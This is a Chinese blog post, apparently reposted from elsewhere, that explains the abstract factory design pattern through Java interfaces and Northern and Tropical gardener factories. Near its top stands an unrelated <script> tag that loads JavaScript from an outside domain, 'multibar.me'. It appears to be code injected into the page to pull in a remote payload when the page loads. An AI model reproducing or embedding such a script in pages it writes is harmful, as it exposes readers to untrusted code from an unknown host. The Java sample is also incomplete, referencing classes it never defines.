设计模式-抽象工厂模式
程序员文章站
2024-01-20 19:45:04
...
<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>
三:抽象工厂模式
向客户端提供一个接口,使得客户端在不必指定产品的具体类型的情况下,创建多个产品族中的产品对象。“抽象”来自“抽象产品角色”, 而“抽象工厂”是抽象产品角色的工厂。该模式是针对多个产品等级结构的系统设计。而工厂方法模式则是针对单个产品等级结构的设计。
产品等级结构和产品族的相图如下:
角色:
抽象工厂角色
具体工厂类角色
抽象产品角色
具体产品角色
有多少个产品族就有多少个具体工厂类,一个产品族中有多少个等级结构就应该有多少工厂方法。当一个系统中增加了一个等级结构就必须修改所有的工厂,所以此时对“开-闭”原则的支持则不足
实例:
产品族:北方水果、热带水果;产品等级结构:苹果、桔子、蔬菜
interface Vegiee {}
interface Orange {}
interface Fruit {}
class NorthernFruit implements Fruit {
private String name;
public NorthernFruit(String name) {
this.name = name;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
....
class TropicalFruit implements Fruit {
private String name;
public TropicalFruit(String name) {
this.name = name;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
interface Gardener {
public Fruit createFruit(String name);
public Vegiee createVegiee(String name);
public Orange createOrange(String name);
}
class NorthernGardener implements Gardener {
public Fruit createFruit(String name) {
return new NorthernFruit(name);
}
public Vegiee createVegiee(String name) {
return new NorthernVegiee(name);
}
public Orange createOrange(String name) {
return new NorthernOrange(name);
}
}
class TropicalGardener implements Gardener {
public Fruit createFruit(String name) {
return new TropicalFruit(name);
}
public Vegiee createVegiee(String name) {
return new TropicalVegiee(name);
}
public Orange createOrange(String name) {
return new TropicalOrange(name);
}
}
上一篇: 删除数组中重复的元素
下一篇: js 操作cookie详解